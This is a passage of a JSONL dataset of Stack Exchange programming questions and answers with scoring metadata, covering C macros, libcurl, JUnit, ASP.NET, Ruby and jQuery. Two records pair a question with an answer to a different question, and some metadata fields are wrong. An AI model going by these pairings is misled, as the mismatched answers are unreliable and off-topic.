Ajax call while the user is on the form. Having the form re-load with the password and password confirmation gone, just to have to think of a new username and re-input the data is a pain.\nOther things to consider would be to enforce min/max lengths and some rules around passwords... don't make it difficult to sign up though. Also, accept special characters in the password. I have a couple of very strong passwords that I like to use and a lot of sites don't let me use them, so my account ends up being less secure than I would have made it on my own.\nCAPTCHA is a good idea, just make sure it isn't super-difficult to figure out, that can be frustrating too.\nThere are a lot of things to consider and several options for each, but hopefully this will get you started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.043102"}
{"id": "hf_9927a7a7eea9", "question": "<p>Suppose I have #define foo in various header files. It may expand to some different things. I would like to know (when compiling a .cc file) when a #define is encountered, to what it will expand, it which file it is and where it got included from.</p>\n\n<p>Is it possible? If not, are there any partial solutions that may help?</p>\n\n<p>Feel free to add comments with clarification requests.</p>\n\n<p><strong>Edit: current answers seem to concentrate on the case when there is one #define and I just want to jump to definition or know what the definition is. That's the simple case and yes, your solutions work. But when I have the same #define in different files, and want to know which one kicks in first, none of these techniques is useful. Okay, I actually used #warning carefully to find the right place. But this requires much work.</strong></p>\n", "question_body": "", "answer": "Use #warning. It's described\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.066090"}
{"id": "hf_0e14c874e7d9", "question": "<p>Does anyone have any experience migrating from one DBMS to another?  If you have done this, why did you do it? Features? Cost? Corporate Directive?</p>\n\n<p>At times, I've worked with DBAs who insisted that we not use features specific to a DBMS (for example, CLR Stored Procedures in SQL Server.)  The DBAs point is, if we use these features, it will make it more difficult to switch to another DBMS if we have to.  But so far, I've never been asked to switch.</p>\n", "question_body": "", "answer": "In my opinion its silly not to take advantage of all the features of the db your using.  Changing DBMS regardless of how many features you use is going to be difficult.  There are minute differences between the systems (like some record Date and some record date and time) that will cause a huge headache to change.  There is no such thing of just switching to a new dbms.\nFrom a business perspective there is a lot of work to be done.  Analysis on the new dbs to change to.  Figuring out the impact of changing dbs on the new system.  Having development change the existing systems, testing the changes etc.  The list goes on and on.  Making a switch like that on an enterprise system takes months if not years.  The last place I worked had to change dbs, and it took us a solid 11 months to do it and about 2 million dollars for consultants, hardware, software, and employee salaries.  It's a big deal.  If someone is saying not to use features, because that \"may\" happen someday and it'll be easier to do,  Most likely, that person is off their rocker.  The extra amount of time and money it will take to convert those features is minuscule compared to everything else (most likely).  IMO if it will save time and money now buy using those features, then that is the best course of action.\nWe did it because the systems we had running on the old dbms were too big.  There was too much data, and we needed something a lot more powerful.  Plus, it wasn't supported anymore.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.098275"}
{"id": "hf_0112007d6d80", "question": "<p>I'm working on an online tool for students in my faculty to calculate their final grade for their degrees, and for a while I've had little problems. Students seem to like using the new UI and I've suffered no criticism for a while. Now, I need to add some functionality to the program, meaning the UI will have to chance slightly, but in some very noticeable places.</p>\n\n<p>After watching the whole New Facebook thing kick off, along with the <a href=\"https://stackoverflow.com/questions/238177/worst-ui-youve-ever-used\">slating of applications with bad UI</a> here on SO and the Ribbon on MS Office receiving mixed reviews I've wondered to myself whether a UI should ever really be changed if users seem to like it. Should a UI be updated after a number of years to keep users interested/be more efficient? Should features be held back in sake of a clean UI?</p>\n", "question_body": "", "answer": "Ideally when you first design your UI you create something flexible enough to add any feature you want in the future.  In the real world, this is seldom the case.  I would say UI updates should be slow and incremental if at all possible (that was the real problem with the facebook change, one big change all of a sudden), and if not then people should be given plenty of notice of the change, and while you're changing you should be sure to plan for future additions so as to not annoy your user base more often than absolutely necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.144345"}
{"id": "hf_1384e59a0f05", "question": "<p>How do I get the HTTP status code (eg 200 or 500) after calling curl_easy_perform?  </p>\n", "question_body": "", "answer": "http://curl.haxx.se/libcurl/c/curl_easy_getinfo.html\n```\nCURLINFO_RESPONSE_CODE\n\nPass a pointer to a long to receive the last received HTTP or FTP code. This\noption was known as CURLINFO_HTTP_CODE in libcurl 7.10.7 and earlier. This \nwill be zero if no server response code has been received. Note that a \nproxy's CONNECT response should be read with CURLINFO_HTTP_CONNECTCODE \nand not this.\n```\n```\n```\ncurl_code = curl_easy_perform (session);\nlong http_code = 0;\ncurl_easy_getinfo (session, CURLINFO_RESPONSE_CODE, &http_code);\nif (http_code == 200 && curl_code != CURLE_ABORTED_BY_CALLBACK)\n{\n         //Succeeded\n}\nelse\n{\n         //Failed\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.175882"}
{"id": "hf_ff96bb7c12d0", "question": "<p>The JUnit framework contains 2 <code>Assert</code> classes (in different packages, obviously) and the methods on each appear to be very similar. Can anybody explain why this is?</p>\n\n<p>The classes I'm referring to are: <a href=\"http://junit.org/junit/javadoc/4.5/junit/framework/Assert.html\" rel=\"noreferrer\"><code>junit.framework.Assert</code></a> and <a href=\"http://junit.org/junit/javadoc/4.5/org/junit/Assert.html\" rel=\"noreferrer\"><code>org.junit.Assert</code></a>.</p>\n", "question_body": "", "answer": "I believe they are refactoring from\n```\njunit.framework\n```\nto\n```\norg.junit\n```\nand\n```\njunit.framework.Assert\n```\nis maintained for backwards compatibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.239782"}
{"id": "hf_a9a7242b4233", "question": "<p>I need to connect to Outlook through ASP.NET web application using user credentials. What are my options? </p>\n\n<p>FYI: User logs into the web site by using Windows Authentication. I'm working with Outlook 2003. </p>\n", "question_body": "", "answer": "I'm going to do something similar, and I don't see a reason it wouldn't work: write an\nOutlook Addin\nthat uses\nobject remoting\nto communicate with whatever other services or tools you're working on.  Since it's an ASP.NET application, maybe you want to use a web service instead of object remoting.\nDo you want the ASP.NET application to start Outlook if it's not already running?\nIs one Outlook process going to be shared by many users, or do you want to connect to user-specific Outlook processes?  Do you want the ASP.NET application to act as a server that Outlook tries to connect to, or the other way around?\nIf the edge cases are complicated, you could try writing a Windows Service to act as an intermediary or gateway between the two e.g. a service that runs on each Outlook machine and starts Outlook on demand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.269664"}
{"id": "hf_5d032bdfcdb9", "question": "<p>I am new to C#. I wanted to do a simple program with some type of loops. \nI wanted my program to loop through the numbers that the user enters and if it is less than a number then write keep guessing,but once they enter the number 25 i wanted it to say Merry Christmas..  Please Help</p>\n\n<pre><code>int number;\n\ndo\n{\n    Console.WriteLine(\"Guess a number between 20 through 25\");\n    number = int.Parse(Console.ReadLine());\n}  while (number &lt; 25);\n</code></pre>\n\n<p>C# Beginner</p>\n", "question_body": "", "answer": "```\n```\nint number;\n\ndo\n{\n    Console.WriteLine(\"Guess a number between 20 through 25\");\n    number = int.Parse(Console.ReadLine());\n} while (number < 25);\n\nif (number == 25)\n    Console.WriteLine(\"Merry Christmas\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.348843"}
{"id": "hf_9c3d52f6572d", "question": "<p>I'm creating an asp.net app with just some lite data access from xml files.  However, I need to be able to authenticate administrative users (via forms) to manage that data.  I don't want to stand up a sql db just for authentication purposes.  I'd like to use xml, but not sure about security with that.  Any suggestions?  Custom role provider?  MyOpenID?</p>\n", "question_body": "", "answer": "```\n```\nint number;\n\ndo\n{\n    Console.WriteLine(\"Guess a number between 20 through 25\");\n    number = int.Parse(Console.ReadLine());\n} while (number < 25);\n\nif (number == 25)\n    Console.WriteLine(\"Merry Christmas\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.371833"}
{"id": "hf_15e5afbbec20", "question": "<p>Are there any things to be careful about when defining the <code>method_missing</code> method in Ruby?  I'm wondering whether there are some not-so-obvious interactions from inheritance, exception throwing, performance, or anything else.</p>\n", "question_body": "", "answer": "A somewhat obvious one: always redefine\n```\nrespond_to?\n```\nif you redefine\n```\nmethod_missing\n```\n.  If\n```\nmethod_missing(:sym)\n```\nworks,\n```\nrespond_to?(:sym)\n```\nshould always return true.  There are many libraries that rely on this.\nLater:\nAn example:\n```\n```\n# Wrap a Foo; don't expose the internal guts.\n# Pass any method that starts with 'a' on to the\n# Foo.\nclass FooWrapper\n  def initialize(foo)\n    @foo = foo\n  end\n  def some_method_that_doesnt_start_with_a\n    'bar'\n  end\n  def a_method_that_does_start_with_a\n    'baz'\n  end\n  def respond_to?(sym, include_private = false)\n    pass_sym_to_foo?(sym) || super(sym, include_private)\n  end\n  def method_missing(sym, *args, &block)\n    return foo.call(sym, *args, &block) if pass_sym_to_foo?(sym)\n    super(sym, *args, &block)\n  end\n  private\n  def pass_sym_to_foo?(sym)\n    sym.to_s =~ /^a/ && @foo.respond_to?(sym)\n  end\nend\n\nclass Foo\n  def argh\n    'argh'\n  end\n  def blech\n    'blech'\n  end\nend\n\nw = FooWrapper.new(Foo.new)\n\nw.respond_to?(:some_method_that_doesnt_start_with_a)\n# => true\nw.some_method_that_doesnt_start_with_a\n# => 'bar'\n\nw.respond_to?(:a_method_that_does_start_with_a)\n# => true\nw.a_method_that_does_start_with_a\n# => 'baz'\n\nw.respond_to?(:argh)\n# => true\nw.argh\n# => 'argh'\n\nw.respond_to?(:blech)\n# => false\nw.blech\n# NoMethodError\n\nw.respond_to?(:glem!)\n# => false\nw.glem!\n# NoMethodError\n\nw.respond_to?(:apples?)\nw.apples?\n# NoMethodError\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.467322"}
{"id": "hf_46cf800a0fc9", "question": "<pre><code>  ArrayList filters = new ArrayList();\n  filters.Add(new string[] { \"Name\", \"Equals\", \"John\" });\n\n\n  ObjectDataSource1.SelectParameters.Add(\"AppliedFilters\", \n           string.Join(\",\",(string[])filters.ToArray(typeof(string))));\n</code></pre>\n\n<p>Am trying to add a parameter to my object data source which is bound to my select method which should accept a string[]. But as the SelectParameters.Add takes in (string,string) or the other 3 overloads which do not seem to function for me correctly. </p>\n\n<p>The select method accepts a string param though i prefer it accept a string[] or arraylist, but for now I can live with accepting a string which i should convert back to string[]</p>\n\n<p>Resolution:\nfollowed this article <a href=\"https://stackoverflow.com/questions/235166/how-do-i-set-up-objectdatasource-select-parameters-at-runtime\">link text</a></p>\n\n<p><strong>Closed</strong> as duplicate of the question referenced above.</p>\n", "question_body": "", "answer": "A somewhat obvious one: always redefine\n```\nrespond_to?\n```\nif you redefine\n```\nmethod_missing\n```\n.  If\n```\nmethod_missing(:sym)\n```\nworks,\n```\nrespond_to?(:sym)\n```\nshould always return true.  There are many libraries that rely on this.\nLater:\nAn example:\n```\n```\n# Wrap a Foo; don't expose the internal guts.\n# Pass any method that starts with 'a' on to the\n# Foo.\nclass FooWrapper\n  def initialize(foo)\n    @foo = foo\n  end\n  def some_method_that_doesnt_start_with_a\n    'bar'\n  end\n  def a_method_that_does_start_with_a\n    'baz'\n  end\n  def respond_to?(sym, include_private = false)\n    pass_sym_to_foo?(sym) || super(sym, include_private)\n  end\n  def method_missing(sym, *args, &block)\n    return foo.call(sym, *args, &block) if pass_sym_to_foo?(sym)\n    super(sym, *args, &block)\n  end\n  private\n  def pass_sym_to_foo?(sym)\n    sym.to_s =~ /^a/ && @foo.respond_to?(sym)\n  end\nend\n\nclass Foo\n  def argh\n    'argh'\n  end\n  def blech\n    'blech'\n  end\nend\n\nw = FooWrapper.new(Foo.new)\n\nw.respond_to?(:some_method_that_doesnt_start_with_a)\n# => true\nw.some_method_that_doesnt_start_with_a\n# => 'bar'\n\nw.respond_to?(:a_method_that_does_start_with_a)\n# => true\nw.a_method_that_does_start_with_a\n# => 'baz'\n\nw.respond_to?(:argh)\n# => true\nw.argh\n# => 'argh'\n\nw.respond_to?(:blech)\n# => false\nw.blech\n# NoMethodError\n\nw.respond_to?(:glem!)\n# => false\nw.glem!\n# NoMethodError\n\nw.respond_to?(:apples?)\nw.apples?\n# NoMethodError\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.490344"}
{"id": "hf_ad1c9188efdc", "question": "<p>I have a form that contains a bunch of checkboxes.  Before submitting the form, I'd like to grab the values of the checkboxes and stick them into a text field, then submit that.</p>\n\n<p>So I might have:\n   Red\n   Orange\nX  Yellow\n   Blue\nX  Green</p>\n\n<p>And I'd like my textfield to end up with the content \"Yellow, Green\" .  </p>\n\n<p>This doesn't seem too complicated, but I am totally out of my league.  I already use jQuery for a few other things so I have the framework ready, if that makes it easer.</p>\n\n<p>Thanks for any advice --</p>\n", "question_body": "", "answer": "First hack at it (without testing):\n```\n```\nvar serializedCheckboxes = '';\n$(\"input type='checkbox'\").each(function() {\n if($(this).attr(\"checked\")) {\n  serializedCheckboxes += $(this).attr(\"value\") + ',';\n }\n});\n\n$(\"input name='allchecks').attr(\"value\", serializedCheckboxes);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.548685"}
{"id": "hf_cf6fe48b8e29", "question": "<p>I am trying to use the Event Log to write some debug information and I can't make it works. It complains about not being able to find the Event Source. Do I have to install something on the OS?</p>\n", "question_body": "", "answer": "Here a code that I modified from one of our application. This might help you to start with the creation.\n```\n```\nSystem.Diagnostics.EventLog eventLog1 = new System.Diagnostics.EventLog();\nstring eventLogName = \"StackOverFlowEventName\";\nstring eventLogSource = \"StackOverFlowWebsite\";\n\n//This code HERE will create the Event for you\nif (!System.Diagnostics.EventLog.SourceExists(eventLogSource))\n{\n    System.Diagnostics.EventLog.CreateEventSource(eventLogSource, eventLogName);\n}\n\neventLog1.Source = eventLogSource;\neventLog1.Log = eventLogName;\neventLog1.WriteEntry(\"This is a test\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.597339"}
{"id": "hf_20ef32196c45", "question": "<p>I'm trying to get the following SQL statement to work:</p>\n\n<pre><code>UPDATE myschema.tableA update_tableA\n   SET field_id = \n   ( SELECT src.field_id \n         FROM myschema.srcTable src\n         INNER JOIN myschema.tableB tableB ON \n            update_tableA.id = tableB.id \n            AND SDO_ANYINTERACT( tableB.shape, src.shape ) = 'TRUE' );\n</code></pre>\n\n<p>When I run this statement, I get the following error:</p>\n\n<pre><code>ORA-00904: \"UPDATE_TABLEA\".\"ID\": invalid identifier\n</code></pre>\n\n<p>Can I not use a variable scoped outside of the nested select within the nested select?  Any thoughts?</p>\n\n<p>P.S. The identifier is indeed valid in the database table.  The problem appears to be scope, but I want to make sure that is indeed an issue.</p>\n", "question_body": "", "answer": "Looking at the SQL above, here is what I am thinking\n1) myschema.tableA doesn't have ID column (it could be field_id)\n2) The SELECT doesn't seem to provide a join condition\n```\nSELECT src.field_id \n         FROM myschema.srcTable src\n         INNER JOIN myschema.tableB tableB ON\n```\nWhere is the condition to JOIN src with tableB?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.620283"}
{"id": "hf_89f17760d641", "question": "<p>It has to be simple, here's my CSS: </p>\n\n<pre><code>.progressImage \n{\n  position:relative;\n  top:50%;\n}\n\n.progressPanel\n{\nheight:100%;\nwidth:100%;\ntext-align:center;\ndisplay:none;\n}\n\n&lt;asp:Panel ID=\"pnlProgress\" runat=\"server\" CssClass=\"progressPanel\"&gt;\n&lt;asp:Image ID=\"Image1\" runat=\"server\" CssClass=\"progressImage\" ImageUrl=\"~/Images/Icons/loading.gif\" /&gt;\n&lt;/asp:Panel&gt;\n</code></pre>\n\n<p>I toggle panel display depending on user action.</p>\n\n<p>Works great in FireFox, but shows up at the top of the page in Safari.</p>\n\n<p>p.s. \"vertical-align:middle;\" doesn't work either.  </p>\n\n<p>p.p.s. setting \"position:relative;\" on the panel doesn't work, setting \"position:relative;\" on the panel and \"position:absolute;\" on the image breaks it in FF and does nothing in Safari</p>\n\n<p>THIS WORKED:</p>\n\n<pre><code>.progressPanel\n{\n  height:100%;\n  width:100%;\n  position:relative;\n}\n\n.progressImage\n{\n  position:absolute;\n  top:50%;\n  left:50%;\n}\n</code></pre>\n", "question_body": "", "answer": "Ensure the parents container is also set to position: relative and has a height specified, without it the position wont work correctly.\n```\n```\n.progressPanel\n{\n    height:100%;\n    width:100%;\n    text-align:center;\n    display:none;\n    position: relative;\n}\n```\n```\nalternatively, why not set the background property of the panel to your gif?\n```\n```\nbackground: url('path/to/image.gif') no-repeat center middle;\n```\n```\nThat will always be centered.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.654812"}
{"id": "hf_0838149cfe65", "question": "<p>I need to store a tree data structure in my database, for which I plan on using <a href=\"http://code.google.com/p/django-treebeard/\" rel=\"noreferrer\">django-treebeard</a> or possibly <a href=\"http://code.google.com/p/django-mptt/\" rel=\"noreferrer\">django-mptt</a>.  My source of confusion is that each node could be one of three different possible types: root nodes will always be a type A entity, leaf nodes a type C entity, and anything in between will be a type B entity.  I would like to know the best way to model this situation.</p>\n\n<p><strong>update:</strong>  I first tried model inheritance, and I think that this could be the best way to go. Unfortunately django-treebeard's public API isn't really designed to handle this.  I ended up getting it to work with GenericForeignKey.  Thank you very much for the answers.</p>\n", "question_body": "", "answer": "Your three types are probably easiest handled as FK associations with the fundamental tree.\nThe tree can be homogenous -- class\n```\nMyNode\n```\nis a direct subclass of\n```\ntreebeard.Node\n```\n.  Your node can have a flag (Root, Middle, Leaf) and FK's for A or B or C.  This allows you some SQL-like flexibility in querying MyNode instance.\nThis allows your tree to grow.  A node can start as a type C (leaf) and then morph to a type B (intermediate).  You change the status, and change the FK's.\nThe alternative is a bit more complex.\n```\n```\nclass MyA( treebeard.Node ):\n    pass\n\nclass MyB( treebeard.Node ):\n    pass\n\nclass MyC( treebeard.Node ):\n    pass\n```\n```\nIn this case, you can't \"morph\" a node.  When a node starts as a\n```\nMyC\n```\n, and gets children, you have to remove the original\n```\nMyC\n```\ninstance, and replace it with a\n```\nMyB\n```\nversion that has a new node as a child.  This isn't impossible, but it can be painful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.689007"}
{"id": "hf_c151139a67f0", "question": "<p>I have an HTML document that is using  to embed a control.  In some cases, IE fails to load the control in the  tag and loads my alternative text.</p>\n\n<p>Only problem... I don't know why it is failing.  It doesn't show up as an error in the exclamation in the lower-left.  I overrode the <code>window.onerror</code> method, but that didn't get fired.  I see nothing in the event log.</p>\n\n<p>How do I get any type of feedback to figure out what my problem is?  Can IE go into a \"verbose mode\"?  Is there some magic error log somewhere telling me why my object isn't loading into IE?</p>\n\n<p>Thanks,\nBrian</p>\n", "question_body": "", "answer": "Often a failure in the object tag won't show up as an IE error, since the object is running from its own plugin codebase, not the browser's interpreter.\nAre you loading this file locally? Or is it a hosted page? IE has different permissions for execution of objects. What is the type of the object? A code snippet would also help.\nYou could also use something like Charles Web Debugging proxy to see if the browser is even attempting to connect to the filename. If it's not, you know it's a problem with the code, but if it is making the call, you might be able to see what's returned in the HTTP headers - a server error (404, 500?), blankness, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.737903"}
{"id": "hf_e67340b107f9", "question": "<p>I am using the Html.TextBox helper to create textboxes.  I want to set attributes on the textbox, which I understand is done using the following overload: </p>\n\n<p><code>Html.TextBox (string name, object value, object htmlAttributes)</code></p>\n\n<p>However, I want to maintain the functionality where the HTML helper automatically uses the value from either ViewData or ViewData.Model and I do not see a way to just specify the name and the htmlAttributes.  Is this possible?</p>\n", "question_body": "", "answer": "[EDIT]  After looking at the\nsource code\n, it appears that all you need to do is specify the value as null in the signature that takes a name, value, and htmlAttributes.  If the value is null, it will attempt to use the value from the ViewData.\n```\n```\nHtml.TextBox( \"name\", null, new { @class = \"css-class\" } );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.763790"}
{"id": "hf_0b63a273de5f", "question": "<p>What is the best way to get the TAPI version and additional TAPI information with C#? </p>\n", "question_body": "", "answer": "Interop.\nUse the\nlpdwAPIVersion\nparameter of the lineInitializeEx function.\nhttp://msdn.microsoft.com/en-us/library/ms735983(VS.85).aspx\n\"Upon successful completion of this request, this location is filled with the highest API version supported by TAPI, thereby allowing the application to detect and adapt to having been installed on a system with a different version of TAPI.\"\nYou're going to have to start plugging away with Interop calls sooner or later when you're programming TAPI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.786974"}
{"id": "hf_d04881ad5d9f", "question": "<p>I am about to start a web project and have been working almost exclusively with a LAMP stack for the past 5 years.  I would like to build something larger and more scalable and hence have been looking into Java EE.  The division of logic between JSP and EJB seems ideal for what I want to do.</p>\n\n<p>Can anyone recommend resources for getting familiar with Java EE?  And perhaps if anyone knows of technologies that are more scalable than PHP that I should consider as well, I'm all ears.</p>\n\n<p>Thanks a lot!</p>\n", "question_body": "", "answer": "I think given your background in Linux and MySQL, the best place to start would be Java's\nServlet API\n.  Java Servlets are the basic unit in Java EE for handling HTTP requests and responses on the server side.  In most of the Java EE work that I have done, servlets cover about 50% of development.  The other 50% is database development, which you seem to have done in the past.\nFor your servlet container, I would recommend\nApache Tomcat\n.  Tomcat has a robust development community contributing regularly, and is used at the heart of several enterprise application server solutions, such as JBoss.\nGood luck in your project!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.810224"}
{"id": "hf_499328a43735", "question": "<p>I have only recently started working with the MVC approach, so I suppose this is an easy one for you gurus here:</p>\n\n<p><strong>Where do I put access control?</strong></p>\n\n<ol>\n<li>In a view? I don't want to have any logic besides switches and flags in my templates, so that sounds like the least viable option</li>\n<li>In the model? Should each business object decide what data it will reveal about itself based on who's asking?</li>\n<li>In the controller? That's where I have it now but it makes it hard to keep business rules consistent</li>\n</ol>\n\n<p>Or is there another option?</p>\n", "question_body": "", "answer": "This will depend on what framework you're using as that and the language will dictate a lot of the tools you have available to you.\nFrom a high level, you should have access security configured at points-of-entry. And you should double-check access security at every level that could be considered autonomous or reused from multiple parts of your application (who knows if security was checked by your co-worker's portal that uses your logic layer? etc.). The other thing to worry about is data security, and that belongs as close to your data as possible (so, yes to your #2 above, but understand that it's separate).\nThis is akin to the difference between application logic and domain logic, which I'm fond of talking about. If there is any logic that is specific to one particular application (web app compared to a windows service, or whatever) then that logic should be defined in that application only. If some logic crosses the boundary between applications (is reusable between applications) then it qualifies as domain logic and should be defined in your model. Your applications can make use of domain logic, but they should not own it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.844132"}
{"id": "hf_a59f18fe5590", "question": "<p>I'm having an issue with JQuery and Safari (Windows Version).  The code works on FF/IE7/Chrome but not Safari.</p>\n\n<p>I have a simple <code>&lt;li&gt;</code> that has a <code>&lt;div&gt;</code> embedded in to - clicking the <code>&lt;li&gt;</code> should expose the hidden <code>div</code>, but not in Safari.</p>\n\n<p>The HTML:</p>\n\n<pre><code>&lt;ul&gt;\n&lt;li&gt;something&lt;/li&gt;\n&lt;li&gt;something2&lt;/li&gt;\n&lt;li class=\"more\"&gt;\n        &lt;a href=\"\" class=\"moreFacetsLink\"&gt;Click to see more options&lt;/a&gt;\n        &lt;div class=\"moreFacets\"&gt;bunch of text&lt;/div&gt;\n&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>Here is the JQuery code:</p>\n\n<p><pre><code>\n     $('.moreFacetsLink').click(function () {<br>\n        $(this).siblings('div').toggle();\n     });\n</pre></code></p>\n\n<p>Any thoughts as to what may be going on here?  Again - this seems to work on all other browsers!</p>\n\n<p>I'm a newbie when it comes to JQuery.</p>\n\n<p>Thanks!    </p>\n", "question_body": "", "answer": "How accurate is your HTML pasting?\nYou never closed your \"moreFacetsLink\" anchor tag, which probably makes Safari think that it was implicitly closed, and the \"bunch of text\" is surrounded by an additional, HREF-less Class-less Unclosed anchor tag... evidenced by the fact that this:\n```\n```\n$(\".moreFacetsLink\").click(function () {\n    $(this).siblings(\"a\").children(\"div\").toggle();\n});\n```\n```\n... does what you want with your submitted markup.\nClose off your anchor tag properly (bonus points for including the href attribute) and you should be good to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.867117"}
{"id": "hf_3244407467aa", "question": "<p>I am trying to create a delegate protocol for a custom UIView. Here is my first attempt:</p>\n\n<pre><code>@protocol FunViewDelegate\n@optional\n- (void) funViewDidInitialize:(FunView *)funView;\n@end\n\n\n@interface FunView : UIView {    \n@private\n}\n\n@property(nonatomic, assign) id&lt;FunViewDelegate&gt; delegate;\n\n@end\n</code></pre>\n\n<p>This doesn't work because the FunView interface has not been declared at the time of the FunViewDelegate declaration. I have tried adding a prototype ala C++ before the @protocol:</p>\n\n<pre><code>@interface FunView;\n</code></pre>\n\n<p>But this just drives the compiler nuts. How am I supposed to do this?</p>\n", "question_body": "", "answer": "It would seem that you can forward declare protocols:\n```\n```\n@protocol FunViewDelegate;\n\n@interface FunView : UIView {    \n@private\n    id<FunViewDelegate> delegate;\n}\n@property(nonatomic, assign) id<FunViewDelegate> delegate;\n@end\n\n@protocol FunViewDelegate\n@optional\n- (void) funViewDidInitialize:(FunView *)funView;\n@end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.924911"}
